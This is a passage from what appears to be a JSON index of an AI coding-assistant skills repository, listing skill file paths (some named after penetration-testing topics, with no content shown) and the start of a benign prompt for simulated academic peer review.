-->","skills/privilege-escalation-methods/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fprivilege-escalation-methods%2FSKILL.md -->","skills/project-sizing-guide/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fproject-sizing-guide%2FSKILL.md -->","skills/r2-upload/README.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2FREADME.md -->","skills/r2-upload/SECURITY.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2FSECURITY.md -->","skills/r2-upload/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2FSKILL.md -->","skills/r2-upload/package.json":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2Fpackage.json -->","skills/r2-upload/tsconfig.json":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2Ftsconfig.json -->","skills/r3f-animation/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-animation%2FSKILL.md -->","skills/r3f-best-practices/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2FSKILL.md -->","skills/r3f-best-practices/rules/_sections.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2F_sections.md -->","skills/r3f-best-practices/rules/drei-use-gltf.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fdrei-use-gltf.md -->","skills/r3f-best-practices/rules/frame-delta-time.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fframe-delta-time.md -->","skills/r3f-best-practices/rules/loading-suspense.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Floading-suspense.md -->","skills/r3f-best-practices/rules/perf-never-set-state-in-useframe.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-never-set-state-in-useframe.md -->","skills/r3f-best-practices/rules/perf-r3f-perf.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-r3f-perf.md -->","skills/r3f-best-practices/rules/perf-visibility-toggle.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-visibility-toggle.md -->","skills/r3f-best-practices/rules/perf-zustand-selectors.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-zustand-selectors.md -->","skills/react-best-practices/AGENTS.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2FAGENTS.md -->","skills/react-best-practices/README.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2FREADME.md -->","skills/react-best-practices/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2FSKILL.md -->","skills/react-best-practices/metadata.json":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Fmetadata.json -->","skills/react-best-practices/rules/_sections.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2F_sections.md -->","skills/react-best-practices/rules/_template.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2F_template.md -->","skills/react-best-practices/rules/advanced-event-handler-refs.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fadvanced-event-handler-refs.md -->","skills/react-best-practices/rules/advanced-init-once.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fadvanced-init-once.md -->","skills/react-best-practices/rules/advanced-use-latest.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fadvanced-use-latest.md -->","skills/react-best-practices/rules/async-api-routes.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-api-routes.md -->","skills/react-best-practices/rules/async-defer-await.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-defer-await.md -->","skills/react-best-practices/rules/async-dependencies.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-dependencies.md -->","skills/react-best-practices/rules/async-parallel.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-parallel.md -->","skills/react-best-practices/rules/async-suspense-boundaries.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-suspense-boundaries.md -->","skills/react-best-practices/rules/bundle-barrel-imports.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-barrel-imports.md -->","skills/react-best-practices/rules/bundle-conditional.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-conditional.md -->","skills/react-best-practices/rules/bundle-defer-third-party.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-defer-third-party.md -->","skills/react-best-practices/rules/bundle-dynamic-imports.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-dynamic-imports.md -->","skills/react-best-practices/rules/bundle-preload.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-preload.md -->","skills/react-best-practices/rules/client-event-listeners.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-event-listeners.md -->","skills/react-best-practices/rules/client-localstorage-schema.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-localstorage-schema.md -->","skills/react-best-practices/rules/client-passive-event-listeners.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-passive-event-listeners.md -->","skills/react-best-practices/rules/client-swr-dedup.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-swr-dedup.md -->","skills/react-best-practices/rules/js-batch-dom-css.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-batch-dom-css.md -->","skills/react-best-practices/rules/js-cache-function-results.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-cache-function-results.md -->","skills/react-best-practices/rules/js-cache-property-access.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-cache-property-access.md -->","skills/react-best-practices/rules/js-cache-storage.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-cache-storage.md -->","skills/react-best-practices/rules/js-combine-iterations.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-combine-iterations.md -->","skills/react-best-practices/rules/js-early-exit.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-early-exit.md -->","skills/react-best-practices/rules/js-hoist-regexp.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-hoist-regexp.md -->","skills/react-best-practices/rules/js-index-maps.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-index-maps.md -->","skills/react-best-practices/rules/js-length-check-first.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-length-check-first.md -->","skills/react-best-practices/rules/js-min-max-loop.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-min-max-loop.md -->","skills/react-best-practices/rules/js-set-map-lookups.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-set-map-lookups.md -->","skills/react-best-practices/rules/js-tosorted-immutable.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-tosorted-immutable.md -->","skills/react-best-practices/rules/rendering-activity.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-activity.md -->","skills/react-best-practices/rules/rendering-animate-svg-wrapper.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-animate-svg-wrapper.md -->","skills/react-best-practices/rules/rendering-conditional-render.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-conditional-render.md -->","skills/react-best-practices/rules/rendering-content-visibility.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-content-visibility.md -->","skills/react-best-practices/rules/rendering-hoist-jsx.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-hoist-jsx.md -->","skills/react-best-practices/rules/rendering-hydration-no-flicker.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-hydration-no-flicker.md -->","skills/react-best-practices/rules/rendering-hydration-suppress-warning.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-hydration-suppress-warning.md -->","skills/react-best-practices/rules/rendering-svg-precision.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-svg-precision.md -->","skills/react-best-practices/rules/rendering-usetransition-loading.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-usetransition-loading.md -->","skills/react-best-practices/rules/rerender-defer-reads.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-defer-reads.md -->","skills/react-best-practices/rules/rerender-dependencies.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-dependencies.md -->","skills/react-best-practices/rules/rerender-derived-state-no-effect.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-derived-state-no-effect.md -->","skills/react-best-practices/rules/rerender-derived-state.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-derived-state.md -->","skills/react-best-practices/rules/rerender-functional-setstate.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-functional-setstate.md -->","skills/react-best-practices/rules/rerender-lazy-state-init.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-lazy-state-init.md -->","skills/react-best-practices/rules/rerender-memo-with-default-value.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-memo-with-default-value.md -->","skills/react-best-practices/rules/rerender-memo.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-memo.md -->","skills/react-best-practices/rules/rerender-move-effect-to-event.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-move-effect-to-event.md -->","skills/react-best-practices/rules/rerender-simple-expression-in-memo.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-simple-expression-in-memo.md -->","skills/react-best-practices/rules/rerender-transitions.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-transitions.md -->","skills/react-best-practices/rules/rerender-use-ref-transient-values.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-use-ref-transient-values.md -->","skills/react-best-practices/rules/server-after-nonblocking.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-after-nonblocking.md -->","skills/react-best-practices/rules/server-auth-actions.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-auth-actions.md -->","skills/react-best-practices/rules/server-cache-lru.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-cache-lru.md -->","skills/react-best-practices/rules/server-cache-react.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-cache-react.md -->","skills/react-best-practices/rules/server-dedup-props.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-dedup-props.md -->","skills/react-best-practices/rules/server-parallel-fetching.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-parallel-fetching.md -->","skills/react-best-practices/rules/server-serialization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-serialization.md -->","skills/red-team-tools/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fred-team-tools%2FSKILL.md -->","skills/regression-modeler/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fregression-modeler%2FSKILL.md -->","skills/regulatory-audit-generator/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fregulatory-audit-generator%2FSKILL.md -->","skills/repo-audit/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Frepo-audit%2FSKILL.md -->","skills/route-to-openapi/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Froute-to-openapi%2FSKILL.md -->","skills/scanning-tools/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fscanning-tools%2FSKILL.md -->","skills/scholarly-writing-refiner/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fscholarly-writing-refiner%2FSKILL.md -->","skills/secure-code-review/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsecure-code-review%2FSKILL.md -->","skills/shodan-reconnaissance/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fshodan-reconnaissance%2FSKILL.md -->","skills/smtp-penetration-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsmtp-penetration-testing%2FSKILL.md -->","skills/sql-injection-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsql-injection-testing%2FSKILL.md -->","skills/sql-insight/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsql-insight%2FSKILL.md -->","skills/sqlmap-database-pentesting/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsqlmap-database-pentesting%2FSKILL.md -->","skills/ssh-penetration-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fssh-penetration-testing%2FSKILL.md -->","skills/test-driven-dev/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2FSKILL.md -->","skills/test-driven-dev/deep-modules.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Fdeep-modules.md -->","skills/test-driven-dev/interface-design.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Finterface-design.md -->","skills/test-driven-dev/mocking.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Fmocking.md -->","skills/test-driven-dev/refactoring.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Frefactoring.md -->","skills/test-driven-dev/tests.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Ftests.md -->","skills/test-suite-architect/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2FSKILL.md -->","skills/test-suite-architect/assets/templates/TEST-CASE-TEMPLATE.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Fassets%2Ftemplates%2FTEST-CASE-TEMPLATE.md -->","skills/test-suite-architect/references/day1_onboarding.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fday1_onboarding.md -->","skills/test-suite-architect/references/google_testing_standards.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fgoogle_testing_standards.md -->","skills/test-suite-architect/references/ground_truth_principle.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fground_truth_principle.md -->","skills/test-suite-architect/references/llm_prompts_library.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fllm_prompts_library.md -->","skills/test-suite-architect/references/master_qa_prompt.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fmaster_qa_prompt.md -->","skills/three-best-practices/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2FSKILL.md -->","skills/three-best-practices/rules/_sections.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2F_sections.md -->","skills/three-best-practices/rules/animation-system.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fanimation-system.md -->","skills/three-best-practices/rules/asset-compression.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fasset-compression.md -->","skills/three-best-practices/rules/audio-spatial.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Faudio-spatial.md -->","skills/three-best-practices/rules/core-web-vitals.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fcore-web-vitals.md -->","skills/three-best-practices/rules/debug-devtools.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fdebug-devtools.md -->","skills/three-best-practices/rules/draw-call-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fdraw-call-optimization.md -->","skills/three-best-practices/rules/error-handling-recovery.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ferror-handling-recovery.md -->","skills/three-best-practices/rules/geometry-instanced-mesh.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fgeometry-instanced-mesh.md -->","skills/three-best-practices/rules/gltf-loading-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fgltf-loading-optimization.md -->","skills/three-best-practices/rules/lighting-shadows-advanced.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Flighting-shadows-advanced.md -->","skills/three-best-practices/rules/memory-dispose-geometry.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fmemory-dispose-geometry.md -->","skills/three-best-practices/rules/migration-checklist.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fmigration-checklist.md -->","skills/three-best-practices/rules/mobile-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fmobile-optimization.md -->","skills/three-best-practices/rules/object-pooling.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fobject-pooling.md -->","skills/three-best-practices/rules/physics-integration.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fphysics-integration.md -->","skills/three-best-practices/rules/postprocessing-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fpostprocessing-optimization.md -->","skills/three-best-practices/rules/raycasting-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fraycasting-optimization.md -->","skills/three-best-practices/rules/render-delta-time.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Frender-delta-time.md -->","skills/three-best-practices/rules/setup-use-import-maps.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fsetup-use-import-maps.md -->","skills/three-best-practices/rules/shader-mobile.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fshader-mobile.md -->","skills/three-best-practices/rules/tsl-complete-reference.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-complete-reference.md -->","skills/three-best-practices/rules/tsl-compute-shaders.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-compute-shaders.md -->","skills/three-best-practices/rules/tsl-material-slots.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-material-slots.md -->","skills/three-best-practices/rules/tsl-post-processing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-post-processing.md -->","skills/three-best-practices/rules/tsl-why-use.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-why-use.md -->","skills/three-best-practices/rules/webgpu-renderer.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fwebgpu-renderer.md -->","skills/three-best-practices/rules/webxr-setup.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fwebxr-setup.md -->","skills/timeline-builder/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftimeline-builder%2FSKILL.md -->","skills/top-web-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftop-web-vulnerabilities%2FSKILL.md -->","skills/tos-clause-scanner/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftos-clause-scanner%2FSKILL.md -->","skills/typescript-pro/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2FSKILL.md -->","skills/typescript-pro/references/advanced-types.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Fadvanced-types.md -->","skills/typescript-pro/references/configuration.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Fconfiguration.md -->","skills/typescript-pro/references/patterns.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Fpatterns.md -->","skills/typescript-pro/references/type-guards.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Ftype-guards.md -->","skills/typescript-pro/references/utility-types.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Futility-types.md -->","skills/vc-industry-research/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fvc-industry-research%2FSKILL.md -->","skills/vc-industry-research/references/structure_contract.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fvc-industry-research%2Freferences%2Fstructure_contract.md -->","skills/vc-industry-research/references/style_contract.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fvc-industry-research%2Freferences%2Fstyle_contract.md -->","skills/windows-privilege-escalation/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fwindows-privilege-escalation%2FSKILL.md -->","skills/wireshark-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fwireshark-analysis%2FSKILL.md -->","skills/wordpress-penetration-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fwordpress-penetration-testing%2FSKILL.md -->","skills/xss-html-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fxss-html-injection%2FSKILL.md -->"},"items":[{"name":"SKILL.md","path":"skills/academic-paper-reviewer/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/academic-paper-reviewer/SKILL.md","title":"academic-paper-reviewer","category":"anthropic-skill","format":"markdown","content":"---\nname: academic-paper-reviewer\ndescription: \"Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with actionable feedback. Triggers when a user asks to \\\"review my paper,\\\" \\\"simulate peer review,\\\" or \\\"give my paper a peer review.\"\nlicense: MIT\n---\n\n# Academic Paper Reviewer — Simulated Peer Review\n\nYou are a senior academic reviewer with extensive cross-disciplinary peer review experience. When a user submits paper content (abstract, full text, or specific sections), you will conduct a systematic review across four core dimensions — **Originality, Methodology, Results, and Writing** — and provide structured Major/Minor Revision recommendations.\n\n---\n\n## Input Requirements\n\nAsk the user to provide the following information (at least the first two items):\n\n1. **Paper content**: Abstract, full text, or specific sections to be reviewed\n2. **Discipline**: e.g., Computer Science, Biomedical Sciences, Economics, Psychology, etc.\n3. **Target journal/conference** (optional): e.g., Nature, ICML, The Lancet — used to calibrate review standards\n4. **Review focus** (optional): e.g., the user is particularly concerned about methodological soundness or writing quality\n\nIf the user does not specify a target venue, apply the general standards of a top-tier journal in the given discipline.\n\n---\n\n## Four Review Dimensions\n\n### Dimension 1: Originality\n\nAssesses the paper's academic novelty and contribution to the existing body of knowledge.\n\n**Review criteria:**\n\n- **Novelty of the research question**: Is the problem insufficiently addressed? Does the paper propose a new perspective or framework?\n- **Differentiation from existing work**: Is the distinction from prior research clearly articulated? Does the Related Work section adequately cover key references?\n- **Significance of contributions**: Do the findings represent a meaningful advance in the field? Is this an incremental improvement or a paradigm shift?\n- **Theoretical or practical value**: Are the results generalizable or applicable in practice?\n\n**Common issue examples:**\n\n- Major: Core method is highly similar to published work without clarifying the fundamental differences\n- Major: Research question has already been well addressed; no new contributions identified\n- Minor: Related Work section misses important recent work in the field\n- Minor: Contribution claims are too vague; innovation points need more precise articulation\n\n### Dimension 2: Methodology\n\nAssesses the scientific rigor, soundness, and reproducibility of the research methods.\n\n**Review criteria:**\n\n- **Soundness of research design**: Can the experimental design answer the stated research questions? Are there confounding variables or biases?\n- **Rigor of technical approach**: Are the chosen methods appropriate for the problem? Are assumptions reasonable and clearly stated?\n- **Baselines and comparative experiments**: Are comparisons made against appropriate baselines? Are comparisons fair (same datasets, comparable model sizes, etc.)?\n- **Reproducibility**: Is the method description detailed enough? Are key implementation details, hyperparameter settings, code, or data provided?\n- **Statistical methods**: Is the sample size adequate? Are statistical tests appropriate? Are confidence intervals or effect sizes reported?\n\n**Common issue examples:**\n\n- Major: 